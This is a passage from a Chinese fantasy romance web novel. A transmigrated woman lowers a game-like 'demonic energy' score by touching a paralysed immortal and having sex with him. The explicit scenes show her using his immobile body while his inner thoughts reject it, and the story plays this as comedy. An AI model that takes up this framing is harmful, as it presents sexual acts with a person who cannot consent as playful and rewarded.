白珏想了片刻,恍然大悟,“哦!如果是我亲手拉你进来,结界就不会拦你了?”
男人眨了下眼。
白珏双眼微眯,那带着审视意味的目光再次落在男人脸上,“那你进来干嘛?”
话一出口,白珏便意识到这个问题很难用眼神示意,她想了想,又换了个说法,“你是来找我的?”
男人给出了答案,是。
白珏心跳忽地快了起来,张着嘴半晌,才又问出声,“那你……认识我?”
他只眨了一下。
他认识她。
原来他是特意来寻她的!
她们既是认识,那会是什么关系呢?
白珏也不知为何,莫名心慌起来。
“我们是仇人吗?”
男人没有犹豫,快速地眨了两下眼睛。
不是仇人就好,省得男人日后坑她。
白珏舒了口气,可转念便更加心慌不说,也开始心虚起来,“是……朋友?”
不是。
“不是仇人,也不是朋友?”白珏疑惑蹙眉,下意识脱口问出,“总不能是亲戚吧?”
男人没有立刻回答,似也在为该如何表达两人关系而思索着。
二人陷入沉默,片刻后,男人似有了决断,抬眼正要给出答案,白珏却忽然抬手,捂住了他的眼睛。
【-5】
“停!”
她突然不想知道了。
她承认她是在害怕,她怕原身和他真的是什么亲人关系,那她这两日的行径,岂不是……
不对。
原身怎样和她没有任何关系,一切都是假的,虚幻的,小说而已,她就是来做任务的!
匀了几个呼吸后,白珏将手缓缓松开,不再看他,“那什么……不管任何关系,都不重要了,咱俩先把眼前的日子过好再说。”
说罢,她不顾男人疯狂眨眼的示意,提起黑袍便朝里侧爬去。
合眼,睡觉。
【-1】
【999997786】
洞口有结界,身侧还有抑制魔气的男人,她这一晚睡得很是安心。
睁眼时已经到了天亮。
既来之,则安之。
至少她还活着,也找到了解决问题的办法,只是时间问题,她熬着便是。
秉持着这个心态,白珏整个人都变得平静许多。
起床后,她重新扯下一块布条,当作洗脸毛巾,简单擦洗了一番,又帮着男人也洗了把脸。
男人的神情依旧冷漠,却是没有再瞪她,白珏笑着摸了摸他脑袋,“乖哈,一会儿给你去摘果子吃。”
男人愣了一瞬,立即开始疯狂眨眼。
“放心,果树不远,我很快就回来的。”
她嘴上这样说,心理难免还是会怕,那猛兽也不知有没有走远,会不会就在附近蹲守。
可她没有选择,若一直不外出,便会活活在洞里饿死。
白珏一路战战兢兢,不过好在,除了遇见了几只黑鸟在不远处的上空盘旋,便未曾在遇见何物。
这次,她一口气摘了四十多颗果子,那裙摆都快兜不住了。
回来后,炫耀似的给男人看。
“今天一天都不用出门啦!”
她计划得很好,两人一日两餐,一餐各吃十颗。
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至于水,她方才已经喝了很多,剩下一碗,她们各一半。
不过说来也奇怪,明明是知冷知饿的肉体凡胎,却没有任何想要去厕所的感觉,倒是很省事。
自她回来后,男人就一直对着她手中的果子疯狂眨眼,只是白珏一直在低头擦果子,根本没有留意这些。
待她将果子擦干净,各自分好后,自己先吃了起来,十颗下肚,心满意足。
她拿起另外十颗,坐回床边,依旧是先帮男人砸开,再捏起碎块往他嘴里塞。
看到男人神情,白珏很是无奈,“别闹昂,这也是没有办法的事,谁让你瘫了,自己不会吃呢?”
“我都没嫌弃你,你这么激动干嘛?”
男人眼睛眨得更快,眼皮子都快抽筋了一般。
白珏懒得再理,只盯着魔气值看。
【-8】
【-8】
【-8】
【……】
十颗全部塞完,她去池边洗手。
“我今天还看到了几颗果树,就在小溪对面,等过段时间我们把这个吃腻了,我再去那边看看。”
白珏不想淌水,也害怕淌水的途中突然发病,所以不敢贸然行动,又怕好不容易摘回来,万一再是有毒的,岂不是又要白忙活。
洗完手,她才想起还未给男人喂水喝。
也不知为何,男人这张嘴总是干干的,渗着些血迹,像是天天上火一样。
白珏喝了口水,低头看向男人时,心跳还是会加速,耳根也还是会发热,但毕竟有了昨日的经历,到底还是没那么紧张了。
低头,张口。
清凉的溪水混合着齿颊间的甜甜果香,一并渡入喉中。
【-8】
【-8】
【-8】
一口,两口……到了第三口时,一股熟悉的感觉忽然涌上心头。
白珏还未反应过来那是什么,便觉那原本很是抵触,缩在后面的小东西,突然一反常态,开始迎上前来,先是颤颤地卷了一下,似还在挣扎克制,可卷过之后,便彻底放开禁锢,一遍又一遍不住缠绕。
“唔?”白珏双眼倏然瞪大,含糊的声音从齿尖而出,“你……你勾引我?”
他双眼未睁,只那近在咫尺的眼睫在不住轻颤,哪儿有什么被迫承受,分明就是在主动享受!
白珏很快便从不可置信到回过神来。
她现在很确信,他就是在勾引她!
明明昨日还一副要死不活的模样,今日就彻底脱掉了伪装。
哼,男人。
真装!
看着右上角不住下降的魔气值,白珏选择原谅他。
可是不知为何,许是唇齿相接本就容易让人缺氧,她在这疯狂的痴缠下,竟有些晕晕乎乎。
耳根愈发滚烫,脸颊也红如紫茄,而那唇间温热,似也骤然升温。
她想起方才那种熟悉的感觉是什么了?
正是此刻这份滚烫的灼热,与昨日她迷迷瞪瞪帮他那什么时的感觉,一模一样!
但比起昨日的稀里糊涂,此刻的白珏意识尚且清明,她被自己莫名生出的那份渴求吓得愣住。
可也只是愣了一瞬,那翻涌而来的渴求便叫她不禁合了双眼。
一切为了任务,为了回家。
她开始与他回应,与那温软不住地缠绕,有时会调皮地突然在那上方卷一下,感受到他气息中的颤意,她便生出一股莫名的喜悦。
然而在那裙摆被撩开时,那最后残存的一丝理智,忽然变成一个穿着白衣的小白珏,钻进了她的耳中,朝她不住叫喊。
作为一个受过良好教育的大好青年,我们不能这么做!
作为一个遵纪守法的好公民,我们不能这么做!
作为一个道德高尚的人,我们不能这么做!
作为……
作……
做!
那就做!
【-10000】
【-15】
【-10000】
【-15】
【-10000】
【……】
7.第七章
啊……一万?
一万!
她没有看错,弹出来的的确是一万!
新世界的大门就这样被猛烈撞开,原本她还为莫名生出的这份渴求而感到的不安,此刻看到这不断弹出的数字,只觉一切都不重要了。
什么酸胀难受,什么畅意沉沦,只是出进那么一下,就能狂降一万巨分。
她还有可忧心的?
失了顾虑的白珏,彻底被那股灼热的情绪所牵引。许久后,才犹如被那狂风骤雨打落的一片嫩叶,随风翻卷着,飘摇着,最终耗尽所有力气,缓缓地落于尘土。
她翻身而下,倒在石墙里侧,合眼疲惫地匀着呼吸。
没有想象中的疼痛,也没有想象中的事后后悔。
只有无尽的疲惫,和一种明明累到极致,却总觉得有股莫名的力量,一点点充斥在她体内。
是魂穿的缘故么?
因为这幅身体不是她的,所以才会这样吧。
白珏就这样静静地躺着,不知过去多久,那眼皮才缓缓掀开,朝右上角看去。
魔气值:【989997376】
九亿……八、八千多万了?
白珏原本还有些迷迷糊糊,可看到千万位上的数字从9变成了8,她噌的一下就来了精神。
也不顾腰身酸痛,理好衣衫就爬下了石床。
捡起一块碎石,闷头开始计算。
末尾的那几个数,白珏已是记不清了,但她清楚记得,千万位数是9,也就是说,经了方才那一遭,直接就少了一千多万的魔气值!
一下就是10000分,1000下就是1000万分!
激动的心,颤抖的手。
她赶忙压住手腕,强行让自己冷静下来,继续计算。
四舍五入,将近10亿的魔气值,一次能降1000万分的话,如果一天一次,也就是说最多100天,她就能回家了。
要是再算上喂食渡水等,这种零零碎碎的分值,也许不到100天,最多3个月,她就能将魔气值全部清除!
白珏鼻根生出酸意,眼眶也有些泛红。
她原本以为,每天最多也只能降个三两千分,想要清除10亿魔气值,没个千八百年是不可能的。
总归仙侠小说里,动不动就是闭关百年,渡劫千年,她早就逼着自己不要再想,只管熬着就是了。
可谁知,幸福来得这样突然!
吧嗒,一滴眼泪落在手背上。
白珏用手背在眼角随意抹了一把,深吸口气,继续算。
要是一天可以做三次呢?
那就不必等三个月,只要一个月,她就能回家!
如果剩余的时间,她再对他多些“照料”,也许连一个月都用不到!
那要是努努力,一天能做个……
白珏打住,回头朝石床看去。
她真是兴奋过了头,忘记一夜七次只存在于小说虚构的场景里。
他不成的。
别说让他七次,便是三次都够呛吧?
白珏默了一瞬,将石子丢掉,起身回到男人身旁。
她满脑子都是回家的事,便是余光不经意扫到了那处,神情也没太大变化。
果然,她的下限没有最低,只有更低。
“喂,睁眼,我有事问你。”
白珏以为,男人会如之前那样,装模作样地蹙眉抗拒,却没想到,话音刚落,男人就极为配合地睁开了眼。
他茫然地看着白珏,目光有些涣散。
不是金瞳,也没有瞪她,眉眼间连一丝冰冷都寻不见了。
气氛有点怪怪的。
“你这又是什么眼神?”
白珏眯眼看他。
“你别忘了昂,是你刚才先勾引我的,我好端端给你渡水,你用舌头卷我干嘛?”
男人涣散的目光逐渐聚焦,在看清眼前之人是白珏后,眸色忽然暗下,一股隐隐的愠怒再度浮出。
好像不是在和她置气,更像是在生闷气?
懒得管了。
“我问你啊,咱们刚才那样……”白珏顿了一下,指了指自己的肚子,“会不会种个小果子出来?”
男人顺着她手指的方向看去,似是有些不明所以,愣了一下,才恍然大悟,朝她眨了两下眼。
“你确定不会吗?”白珏还是有点不放心,又想细问缘由,但男人明显回答不了,就只能再问一遍。
男人缓缓眨了一下,他确定。
白珏稍稍松了口气,可到底没有现代的防护措施,她还是多少有些不安。
下次得注意点,争取躲了去,可是那又不是她能控制的,她怎么知道什么时候出来。
白珏斜了男人一眼。
都怪他。
想到此处,白珏才惊觉自己竟然忘了洗澡,怪不得总觉得身上黏黏糊糊的。
“我先去洗澡,一会儿再管你哈!”
说罢,白珏起身将系带抽开,遮住了男人的视线。
她们有过关系不假,但该有的隐私还是得有的,她可不想被人盯着洗澡。
褪去衣裙,白珏跳入温泉池中。
她未曾发觉,就在她入水的瞬间,男人眉心正中,浮出了一个金色的印记,随着印记的轮廓逐渐清晰,男人周身也开始散发一层淡淡的金芒。
这是玄屹,第十次运用灵力来突破封印。
前九次,不论他如何努力,都未能成功聚集灵力,别说突破,甚至连半点波澜都未曾掀起,便湮灭在了这道封印下。
而第十次,也就是此刻,他竟成功聚集灵力,破了这九重封印的第一重。
竟是靠了那情缘果。
修道之人,无人不知此果乃双修圣果。
单食此物,不与异性相触,此物便与寻常果子无异,只能用来果腹,不会发生任何奇效。
可若食此物之后,哪怕仅是一颗,或是一口,只要在一个时辰内与异性相触,便会生出催欲之效,令人难以自控,而双修之后,灵力激增。
所以,那等道心不稳,只求欲速而达之辈,便会垂涎此物。
可对于仙界九君之一的玄屹而言,他不仅从未食过,还严令禁止净渊阁所有弟子,不准依靠此物来精进修为。
然如今,他不仅食了此物,甚至还与人……行了双修。
他不该,也不能。
她是他座下弟子,他怎可……
玄屹用力合眼。
待封印彻底解开之时,他自会回到天庭受罚。
下次决断,玄屹开始突破第二重封印。
然方才那一番纠缠,虽助他突破了一道封印,却也耗尽了那情缘果
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所带来的功效。
此刻他莫说再突破第二重封印,便是聚集灵力都已是难以做到。
他正欲再试,耳边却忽地传来一阵细碎的水流声。
那声音就在不远处,轻柔而缓慢。
却在这幽静的山洞内,被放大了数倍,连那细微的呼吸声,也一并入了耳中。
她俯身上来之时,他双眼紧闭,从头至尾都未曾睁开,可那声音,那触感,还有那纠缠在一处时的灼烧……
呼吸微乱的瞬间,玄屹双眉倏然蹙起。
他立即强行聚力,逼迫神识将这水声断开。
眉心的金印开始忽明忽暗。
在他一遍又一遍强行断开之时,一股浓郁的咸腥从喉中迸发而出。
金芒消散,金印也瞬间挥去。
与此同时,白珏从水中而出,看到系带话落,她愣了一下,随即便看到了男人身前的那片赤红。
“呀!”
白珏来不及擦身,捡起黑袍往身上一裹,就急急忙忙跑向了石床。
“你怎么了?”
“你别吓我啊!”
“喂,你睁开眼看看我啊!”
男人一动未动,白皙的面容上不见一丝血色,只有身前的那口鲜血红得骇人。
白珏颤着手去探他鼻息。
还有气!
她猛地松了口气,一屁股坐在了石床上。
“哎呀天呐,你、你吓死我了……”
白珏拍着心口,不住抚气。
她刚才真的快要吓死了,她想过男人不行,也想过他不乐意,但是没有想过他会死。
“呜呜呜……”她眼泪都被吓出来了,看到这滩血,她还是害怕,“你可不能死啊!你要是死了,我上哪儿再找人啊……我可怎么回家啊!”
哭哭啼啼的声音由远及近传入耳中。
聒噪。
他最不喜人哭啼,若哭啼可用,缘何费力修炼?
玄屹眉心蹙起,缓缓睁眼。
对上这不算友好的目光,白珏哭声忽地一哽,随即露出一个勉强的笑。
“你……你没事吧?”
玄屹眨了两下:他有事。
白珏眉眼微垂,“你不会死吧?”
玄屹眨了一下:不会。
不死就行,别的都不重要。
白珏彻底松了口气,抚在心口上的手也跟着垂落。
那本就宽松的黑袍,也跟着朝下滑落,半边肩头展露无遗。
白皙映入眼帘的瞬间,玄屹立即双眼紧闭。
白珏见状,心里又是一慌,“你……你是又晕过去了吗?还是生我气啊?”
她小心翼翼地询问,见男人没反应,她又让语气听起来更加和善。
“对不起啊,是我不好,我光顾着自己洗,没管你……”
“我日后不会了啊!”
“你睁开眼睛吧,别闭着了,我害怕……”
“你还没说呢,你为什么吐血?”
“喂……你别逼我嘛……”
“对了,你是不是因为太累了啊,昨天一次,今天又来了一次,1000多下呢,肯定累坏了……”
“还有20个果子呢!”
“我都给你!”
“别着急昂!”
啪的一声,鲜红的情缘果被砸开。
8.第八章
白珏记得刷到过号称老中医的视频,里面说过,红色东西吃了补气血。
这果子红成这个样子,没准真有补血的功效。
反正她每次吃完,都觉得精力充沛了很多。
“吃吧。”
【-8】
白珏塞进去一块。
玄屹痛苦蹙眉,想要抗拒,却没有任何办法,只能任由果肉被塞入喉中,一块又一块下意识地吞咽。
他想要眨眼示意,可她似乎满心都在帮他喂食上,并未意识到那黑袍早已滑落,更是随着她的动作,一松再松。
他无法别过脸去,若是此刻睁眼,哪怕视线再向石壁那处偏倚,余光也会扫到那不该入眼之处。
非礼勿视。
他今日已是错了一次,不该再有任何理由再错下去。
他已是突破了一重封印,也许这一次,他能将情缘果的功效压制住。
他可以。
一定可以。
玄屹气沉丹田,一遍又一遍默念静心咒。
眼看一颗颗果子喂下,男人眉心褶皱逐渐平展,白珏心中大喜。
老中医诚不我欺。
待午后再去摘些!
“你慢慢吃,别着急,等吃完了我再给你洗澡,保证洗得干干净净!”
念至一半的静心咒,戛然而止。
玄屹眼皮跳了两下,深匀一个呼吸后,接着念。
待最后一个果子塞完,听到身边有了挪动。
玄屹这才赶忙睁眼,寻着白珏身影看了过去,正要与她眨眼示意,却见她背过身朝那池边走去。
他不知她在做何事,只知她身披黑袍,立在池边,似是从地上捡了何物,随后便在拧来动去。
时不时,黑袍朝下滑落几分,白珏又立即抬手将袍子拉上。
玄屹不敢妄看,只得赶忙将视线移至石壁,耐心等她过来后,再与她说那洗澡之事。
很快,便听到白珏的脚步声朝这边走来。
玄屹目光刚一看去,呼吸便骤然一滞,随即双眸紧闭,眉心再度深蹙,忍不住在心中厉声斥责:孽徒!怎可赤身示人?
于他而言,只挂着那薄薄两件,便与赤身无异。
可对于白珏来说,她一会儿要趁天没黑,外出摘果子,便不能弄湿唯一的衣裙。
但她也不想赤身与男人泡在池中,思来想去,干脆就只留了肚兜与亵裤。
这两件轻薄易干,待会儿帮男人洗完澡,她便顺手洗了拿出去晒,估摸明日一早就能干透。
听不到冷斥的白珏,回到石床边,见男人又是一脸不耐模样,便以为是等着急了,或是身体不舒服。
“来了、来了!”
头一天白珏已经见识到了男人的分量,便打算先将男人慢慢从床上挪到地上,再一点点拽到池边。
却没想到,她今天力气竟然出奇的大,搬那两条大长腿的时候,几乎没费什么劲。
白珏愣了一下,看了看自己的手,没有什么变化。
吃了果子的原因?
对,补足气血,可不就有力气了?
白珏又尝试将男人背起,见她只是稍费些力,便能将男人背在身后,便不由嘀咕:“嘿,那果子还挺管用!”
自是管用,她与他服了情缘果,再行双修,本就会双双精进灵力。
玄屹冷嗤,眉眼间寒意更重,心中也再度生疑。
他已是不止一次怀疑,白珏此番行径是蓄意为之。
她明知他在闭关,却故意盗那禁书修炼邪功,甚至不惜与人双修而沦为堕仙。
知他闻讯后,必当亲自抓捕,定会因强行出关而有损灵力,便特地引他至混沌界。
又不知从何处习得这带着妖术的结界,令他闯入时中了九重封印。
而她费尽心力如此谋算,便是想要借他之身,与她行那双修之事,得以倍增灵力。
可她缘何要在他面前装疯?
总归,他如今已是动弹不得。
她在欺他辱他之时,任意责骂便是,为何行径如此乖张?
似与他从不相识。
玄屹不明白她装疯的缘由,便只能猜测,是她修炼至走火入魔,乱了心智,才会认不得他。
又或者,这一切依旧是她的算计。
她装疯卖傻,故作不识,不过是为了在羞辱他时,再多几分戏弄与调笑。
玄屹更觉她是后者。
一个堕落之人,自是不会再有半分良知,待他突破封印,必会亲自对她执那九重雷刑。
这般想着,脸色便沉得更加可怕。
白珏脚步顿了一下,莫名觉得后颈有些发凉。
她回头朝身后看去,见男人又是一副要死不活的模样,便翻了个白眼,继续往池边走。
应当是山洞阴凉,她头发未干的缘故吧。
白珏没工夫想那么多,她力气虽然比之前大了不少,但也还是会累。
一番折腾下,腰背又有点酸了。
她将男人放在池边,将他衣衫褪去。
【-1】
【-8】
【-1】
【……】
以前只要视线正中有数字蹦出,白珏都会定睛细看,现在她似也习以为常了,尤其是见识过一万分后,这些个位数的分值,已经激不起什么波澜了。
至于男人那张臭脸,她念在他今天吐血的份上,先不和他计较,要是他日后再这样摆脸色,那肯定还是得罚的。
这个山洞是谁做主不知道吗?
分不清大小王。
【-50】
褪亵裤的时候,不小心手臂碰了一下,小东西也跟着晃了晃。
白珏只看了一眼,便立即将目光移开。
与什么羞不羞涩的,已经没啥关系了。
毕竟她的下限已经拉到了极致。
只是她一直不怎么喜欢这东西,总觉得丑丑的,以前从屏幕里看就这样觉得了,现在看到实物,又碰过……觉得更丑了。
就不能是个什么粉色呀,蓝色啊,紫色什么的……不过他的颜色还可以,可能是他皮肤本来就白……
一边思想乱飞,一边推人入了池中。
池水四溅,很快便恢复平静。
入水的瞬间,男人神色似松了几分。
白珏:“这是净心泉。”
是叫这个名字,她应该没记错。
“你可以睁眼看一下,这个泉底可深了,而且特别神奇,自带浮力,不会沉下去。”
“我还观察过,水是通过泉底流动的,就是不知道最后会通向哪里……”
白珏一边絮絮叨叨说起话来,一边拿起布条帮他擦洗着身前血迹。
玄屹自是不会睁眼,他知道她就在他眼前,与他一并泡于水中,而那抹轻薄的绯红,定也会随着水面浮动,若有不慎,便会展露无遗……
他不会允许自己去看那样的画面,可此刻单单只是脑中想到不该睁眼,那思绪便不受控般,拉扯出后续那般多的念头来。
他根本没有允许自己去想,也根本没有刻意去记过她轻薄之物的模样,明明只是匆匆瞥了一眼,只一眼。
缘何就思出这般多来……
玄屹逼迫自己用神识将这些记忆除去,可神识被死死封印,任他如何,都挣脱不开。
就当此时,肩头多了一抹清凉。
是白珏在帮他擦身,怕他随着泉水来会晃动,便抬手握在了他的肩膀上。
“这泉水也不烫啊,你怎么烧成这个样子?”
白珏的手也没有很冷,但比起男人此刻的体温,到显得她的手变凉了。
“你不会是发烧了吧?”
白珏用手背在他额上试温。
的确有点烫啊。
“你身体好弱啊,真是太难伺候了。”白珏忍不住嘀咕。
玄屹面露愠怒。
还不是因那情缘果。
双修过后,她未曾进食情缘果,却是在方才给他生生又塞下十颗。
塞完后,又将他推入池中,还要一直与他相触。
玄屹已是在不住地强忍,动用一切可用的灵力狠狠压制那团灼烧。
可似乎……
“你不是吧,都发烧了还要翘?”
白珏瞥了眼水下,彻底无语。
她索性将他翻过去,让他面对池
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边,帮他擦洗后背,“你最好冷静一下,自己身体什么样不知道吗?”
温热的泉水,从后颈流下,指尖在肌肤上轻轻划过。
玄屹颤颤吸气。
白珏继续谆谆教诲,“我倒是无所谓,可你要是太贪了,小心一命呜呼了。”
“还记得我第一天碰见你的时候说什么了吗?”
她说,遇到她,他算是有福了。
“我心善呐,我救了你,就算知道你瘫,我也没嫌弃过你,每天还要照顾你。”
提起这个,白珏手劲不由加重,带着几分警告的意味。
“所以你别不识好歹,仗着你弱,就你有理了,没事就给我板脸色。”
说着,布条沉入水中。
白珏无奈叹气,谁曾想,她跑到书中给人家来擦澡来了,不止要搓背,浑身上下哪里都得搓。
算了,反正她已经不知下限为何物了。
再说,他是修仙之人,这几天也没见他有过上厕所之类的举动,应该不脏,洗吧洗吧!
“我最后一次和你说这些了,我知道你身体不好,心里就会痛苦,可这不是对我发脾气的理由,你也不能自我……放、放弃……”
果然是修仙的,肤色白皙不说,到处都滑溜溜的,一看便是那金枝玉贵之人,还有这身形,也是极品。
活脱脱一个宽肩窄腰的型男,原来穿衣显瘦,脱衣有肉,也并非是夸张。
尤其……白珏目光落入水中。
清澈的泉水下,那两处圆润不见一丝赘肉,流畅而有力……
“嗯。”白珏清了下嗓,用布条在水中顺着那弧线继续擦着,“你得身残志坚!”
话落,她半晌无声,待那身后彻底擦过一遍,这才又将他转了回来,后背抵在池边。
脖颈与心口之处,一开始擦血迹的时候,就已经清洗过了,此刻便继续擦洗别处。
昨日红肿的两个,今日已经恢复如常。
饶是再厚的脸皮,在擦拭这两处时,也还是有了温度。
不说点什么,总觉得太过安静,安静到只能听到流水声,还有他的呼吸声。
又重又凌乱,有点烦。
可说些什么呢?
【-8】
男人呼吸猛然一滞。
【-8】
气息又是一抖。
【-8】
再是一颤。
白珏叹气。
原本为了魔气值,她也能随了他的愿,两人都乐意不是。
可没有办法啊,他身子吃不消,她肯定不能让人死了。
白珏想到了,嘲讽他,教育他,让他羞愧,他就老实了。
“还总怪我,你看看你,明明是个修仙之人,这点定力都没有?怪不得连我随便设的结界都闯不进来。”
反正他只要不睁开眼,就看不到她脸红。
布条沉入水中,这一处要好好擦洗,往后她可是要经常用的。
【-50】
“擦洗的时候,有接触是难免的,你脑子最好清醒一点,别……这……”白珏顿了一瞬,脱口而出的瞬间,语调下意识拔高。
“这么烫!”还这么……壮观了么?
比之方才两人一起时,好像还要过分。
“你怎么这么没出息呀!”
白珏恨铁不成钢。
“你忍忍,以后两天一次,总行了吧!”
也就是三个月要变半年了。
算了,这半年嘛,很快就过去了。
比没人用了强。
【-50】
【-50】
头一下她承认是她不小心,第二下可就不是她的问题了,作孽啊,人动不了,这家伙事还能跳。
白珏是真的怕了,垂眼盯着水面,无比仔细地擦洗着,生怕又有什么碰触,让他憋个半死不活。
白珏正专注地擦洗着,心口的一边,突然被什么东西不轻不重地拍了一下。
她吓了一跳,赶忙看去。
才知随着水波浮力和晃动,身前薄薄的那抹绯红早已飘歪,而拍到她的……
是他的手!
【-80】
9.第九章
看到那只手的瞬间,白珏只觉头皮发麻,心脏都快从嗓子眼里跳出来了。
可很快她便意识到,这只手是随着水波的晃动飘过来的。
“我被你吓死了!”
白珏长舒口气,用手肘将那只手拨开,朝男人瞪去。
“我还以为你能动了!”
【-80】
话音刚落,那只手又一次飘了过来。
白珏无语,拿起了男人的手。
【-1】
她原本打算,干脆将这碍人的手搭到岸上,恍然间又是一愣。
不对。
刚才他拍过来的那一下,降的好像不是8分。
因为洗澡的过程中,视线正中不停蹦出分数,她已经习惯性不去在意了,方才那拍来的那一下,她也没大留意。
直到现在,她才忽然反应过来。
白珏定定盯着视线正中。
将那只手缓缓朝身前靠近。
【-80】
【989995611】
“嘶……”
白珏倒吸口气,似不信邪般,又将手掌摊开,彻底将整团全部包住。
【-80】
【989995531】
白珏双眼顿时瞪大。
她没有看错,的确是80分!
可怎么会降80分呢?
她记得同样的位置,她碰他的时候,只降8分啊?
白珏很是疑惑,不知可是受了环境的影响,比如在水中会有不同效果之类的。
为了佐证,她赶忙抬手,颇为熟练的找到了他的同样部位。
碰触瞬间,视线正中:【-8】
这是她熟悉的分值。
她将男人手拿开,再放上来一次。
视线正中:【-80】
【-8】
【-80】
【-8】
【-80】
不会错了,的确是有区别的。
白珏顿时又有了新的猜想。
她抬手在男人手臂上碰了一下。
【-1】
她又松开男人的手,看着他的手飘在池中,在那只手即将飘到她身前时,她略微朝着一侧轻轻转身。
男人的手碰在了她的手臂上。
【-10】
她顺着水波的方向,又一次故意让那只手,碰到她手臂。
【-10】
“十倍!”
“真的是十倍!”
白珏明白了。
和池水没有任何关系,是谁碰谁的问题!
同样的位置,她碰他只降8分,而他来碰她,便是八十分,整整翻了十倍!
所以,她碰他手臂,也只降1分,而他碰她,便是10分!
白珏脸上是抑制不住的兴奋。
她想都没想,赶忙又将两人位置做了交换。
借着温泉奇异的浮力,她双手扶住男人腰身,背靠池边,缓缓将他朝自己面前拉。
在两人距离愈发靠近,即将触碰在一起时,白珏立刻扬起脖子,寻着那即将装来的唇瓣迎去。
【-10】
白珏蹙眉。
试了好几次都是只降了10分。
白珏陷入沉默,仔细又将两人行事时的画面回忆了一番。
片刻后,她终是彻底明白过来。
先前的分析是对的,他碰她的时候,会比她碰他分值高到十倍,可唇瓣相触,或是那种出出进进的时刻,因是需要两人共同完成,所以分值是不会翻倍的。
直白来讲,就是单向接触与双向互动的区别。
虽然略有些失望,但一想到,别的地方可以翻到十倍,这也还是一个令人惊喜的发现。
“唔?”
白珏眉梢微挑,又盯上了他的手。
两人位置再度换回。
她牵住他两只手。
【-1】
【-1】
【-80】
而另一只炙热的大掌,已是沉入池中。
在即将碰触之时,白珏到底还是顿了一瞬,她抬眼朝他看去。
他背对洞外,午后的日光落于他身后,就像为他镀上了一层淡淡的金色光晕。
而那张出尘绝伦的面容上,原本清冷矜贵,不可亵渎的仙人之姿,此刻却是眉心紧蹙,双目紧闭,细看之下,那眼睫都在隐隐发颤。
他似在极力的隐忍,克制,却又无能为力。
白珏深吸口气,也随即合上了眼。
【-500】
黑暗中,蹦出一个数字。
果然,她没有猜错,这一处也会是十倍。
那么……便继续吧,只是对她如此,他便是身有不适,应也不会受何影响。
她要回家,她要降分……
嗯……
【-80】
【-500】
【-80】
【-500】
【……】
玄屹原本不知究竟出了何事,会让白珏突然中断擦洗。<
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p>因为闭着眼睛的缘故,他也并不知晓,自己那随着水波飘动的手,碰到了何处。
他此生从未碰过任何女子,也从未见过任何秘隐之处,便是方才她只着那抹绯红之时,也只是匆匆瞥了一眼,便立即敛眸不会再视。
就连她握住了他的手,将手掌彻底摊开,反复令其去包裹碰触时,他甚至都还是未能明白,她究竟在作何事,而掌中那极尽绵软之物,又到底是何?
只知那念过无数遍的静心咒,忽然变得难以成句,就似那幽静的湖水,不知被何物搅得再也难以静下。
越是念,越是乱。
他再次聚集灵力,用一切能尽之力平复心神。
可她不知又在作何把戏?
明明未与他渡水,却又用那古怪动作,与他以唇相触。
荒唐!
悖逆人伦!
孽徒,还不速速停下!
一连几日,每到这种时刻,玄屹便会不住怒斥,哪怕知道她听不见,可他还是难以忍受。
直到后脊再次抵住池壁,双手又再次被那清凉又柔软的手掌握入手中。
玄屹眉心蹙得更深。
孽徒,还不……
心斥未完,柔软再次袭至掌心。
而那匆匆一瞥的画面,也再度浮现在眼前,骤然变得清晰无比,就好像那时的她未在池边,而就在他眼前,身前,身上……
破!
玄屹立即起咒,朝那第二重封印冲去。
然封印不见半分松动,眼前画面却是更加清晰。
静心咒不成,便念天规,念刑罚……凡能清心定神之法,他一一来念。
不过是区区妖果,他定能抑制。
定能。
手臂再次沉入池中。
正当他不解她又要作何把戏之时,指尖的倏然触碰,让他心头又是一乱。
那是……何物?
不,他不该去思。
不论何物,皆是皮囊,与他无关。
他应念天规,念戒律…
直到一声轻轻哼咛入了耳中,那好不容易趋于平静的湖面,犹如天降巨石,轰然炸开。
周身一切,仿若瞬间静止。
那掌中温软,那指尖滑腻,那低低轻吟,皆在此刻被骤然放大,如百川归海,尽数涌入识海。
而那极致隐忍下的灼烧,如滔天巨浪汹涌而来。
就在这一切即将崩塌的刹那,眉心正中的金印骤然大亮。
无尘,无念,无相,无我。
破!
10.第十章
【-500】
嗯……就算与他两日只行一次事……
【-80】
倒也无妨,可以在休息的那日……
【-500】
啊,如此刻这般……
【-80】
虽无法直降10万巨分……
【-500】
但只要她能……能多忍忍,便也可降至一个可观的数字……
忍、忍就是了。
她握着他的手,从最初只是想要分值不断下降,一下又一下地游移试探,再到后来,那分数蹦出的时候,她几乎快要看不真切,浑身散架,再紧绷,再散架,再紧绷……若不是这池水奇异的浮力,她这幅酥了筋骨的身子,怕是早已沉到了池底。
好不容易又寻到了新办法,她不能就这样轻而易举结束,只是这些分还远远不够,她要降更多的分,要再多忍一忍……
水波在一圈又一圈不住扩散,白珏微阖的双眼,眼睫也随之不住轻颤,在那忍至极致时,她实在难以自控,喉中轻吟出声。
这一声之后,视线愈发朦胧,意识也逐渐涣散,就在她即将失去那最后一丝清明之时,一道耀眼的金光忽然在眼前迸发而出。
白珏瞬间僵住,然那意识尚未来及回笼,只双眼怔懵地望着眼前的这道金光。
下一刻,金光散去,一口浓郁的鲜血喷涌而出。
玄屹耗尽了方才双修得来的全部灵力,却还是未能将第二重封印破除。
封印的反噬,灵力的枯竭,再加情缘果的药效被久抑而迟迟得不到宣泄,这三股力量同时在他体内爆发。
他再也支撑不住,那一股又一股的猩红不住朝外涌出。
在彻底失去意识之际,玄屹的双眼不受控地缓缓睁开。
不该如此。
可他又无力控制自身。
只任由她仓皇失措的神情,还有那完全失了遮掩的两处,全然入了他的眼中。
毫无廉耻……
不知悔过……
孽徒……莫要上前……
休要靠近本尊……
玄屹合眼之时,便是白珏将他揽入怀中之刻。
“不不不……别、别……”
白珏吓得语无伦次,方才还绯红的面容,此刻煞白如纸。
她一手匆忙捞起飘在水面的布条,一手扶住他脸颊,让他靠在她肩头,用那发颤的手不住地擦拭血迹。
“呜呜呜……算我求你了啊,你不要死啊……”
她承认,她把他当玩具不对,可她也没想到,他这么不经用,只是用用手指啊,连他那处碰都没碰,怎就成了这副鬼样子了啊?
“呜呜呜……你不是仙人吗,仙人这么不中用吗?”
哭归哭,手里的活还得做。
试过鼻息,又翻看了瞳孔,确定他只是昏迷,并非没了性命,白珏是庆幸中带着点崩溃。
她将他身前血迹重新擦洗了一遍,又将他推回池边,白珏自己还光着,来不及擦身穿衣,便先用白袍充当浴巾,给他裹得严严实实。
谁让人家矜贵,谁让这荒郊野岭,寻不到第二个又美又壮又瘫的人了。
